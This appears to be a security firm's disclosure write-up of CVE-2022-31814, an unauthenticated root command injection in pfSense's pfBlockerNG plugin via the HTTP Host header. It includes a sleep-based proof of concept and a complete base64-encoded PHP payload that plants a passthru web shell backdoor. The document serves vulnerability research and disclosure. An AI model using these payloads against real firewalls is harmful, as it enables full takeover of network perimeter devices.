TL;DR
IHTeam undertook an independent security assessment of pfsense’s pfBlockerNG plugin version 2.1.4_26 and identified the following vulnerability:
- Unauthenticated Remote Command Execution as root (CVE-2022-31814)
What’s pfBlockerNG
pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.
CVE-2022-31814
IHTeam identified a remote command execution vulnerability in pfBlockerNG <= 2.1.4_26 that can be exploited from an unauthenticated perspective.
Being the web server run by the root user, the impact of this vulnerability is critical, with a CVSS 3.0 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
The consultant downloaded the latest stable version of pfSense (2.6.0 at the moment of writing) and installed the latest stable version of pfBlockerNG (2.1.4_26 at the moment of writing).
The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command.
// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));
exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);
The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input that could result in changing the meaning of the command (as originally intended). An attacker can tamper with the HTTP_HOST parameter via the “Host:” header of the request, as shown in the picture below:
—Restrictions on characters—
There were few restrictions in place regarding characters you could use:
- htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
- nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request
Therefore, the only available characters to build a working payload were:
- pipe (|)
- semicolon (;)
- single quote (‘)
- spaces ( )
–Simple proof of concept–
To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:
/usr/bin/grep -l ' "INJECTION 60 IN A' /var/db/pfblockerng/dnsblalias/*
In order to obtain a working PoC, we need:
- Close the single quote
- Specify a directory to search on
- Break the command with a semicolon
- Comment or add an additional single quote
' *; sleep 5; '
The above simple proof of concept made the system delay the request for 5 seconds, confirming the injection worked.
–Backdooring pfSense–
The next step would involve the build of a stable shell on the remote machine and to do so, we would need to find a creative way to (at least) write a PHP file.
Remember that we can’t use redirections or even forward slashes, therefore the consultant utilized base64 to write a more complex payload that could be executed via php-cli.
However, the “base64 -d” binary was not installed by default in pfSense, but python3.8 was, therefore we were able to write and decode base64 payloads and pipe everything in the php-cli binary:
- Simple PHP code
<?echo("HELL");?>
- Encode it in base64
PD9lY2hvKCJIRUxMIik7Pz4=
- Use python to decode the base64
python3.8 -m base64 -d
- Pipe everything into PHP
| php
Keep in mind that base64 has forward slashes (/) in its charset – therefore build a payload that doesn’t include them.
Now that we got back the “HELL” message, we know that PHP successfully executed our payload, we can build a more complex payload to backdoor pfSense.
<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>
It creates a file in /usr/local/www/system_advanced_control.php with a very simple call to execute command and get back results from it.
PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+
Once again, the above payload, encoded in base64, did not contain any forward slashes. Hence, the final payload to obtain a backdoor in pfSense would be as follow:
/usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*
Exploit Code
The exploit code can be found at https://iht.li/p/WWATN
Disclosure Timeline
28/05/2022 – Technical details sent to [email protected]
31/05/2022 – No response from NetGate, directly contacted BBcan177 (maintainer of the package in GitHub)
05/06/2022 – BBcan177 released a temporary patch https://github.com/pfsense/FreeBSD-ports/pull/1169 while waiting to deprecate version 2.x in favor of 3.x
07/06/2022 – NetGate came back saying they don’t issue security advisories for vulnerabilities within Packages, especially community-maintained packages such as pfBlockerNG.
–3 months delay to allow clients to patch–
05/09/2022 – Blog post and exploit published
One reply on “pfBlockerNG Unauth RCE Vulnerability”
Very cool finding! Even though netgate suck about not wanting to patch community packages at least this vuln will be resolved in pfsense+ latest release with 8.1 php interpreter (single quotes issue solved). Do you know if pfsense CE latest release is also migrating to php 8.1?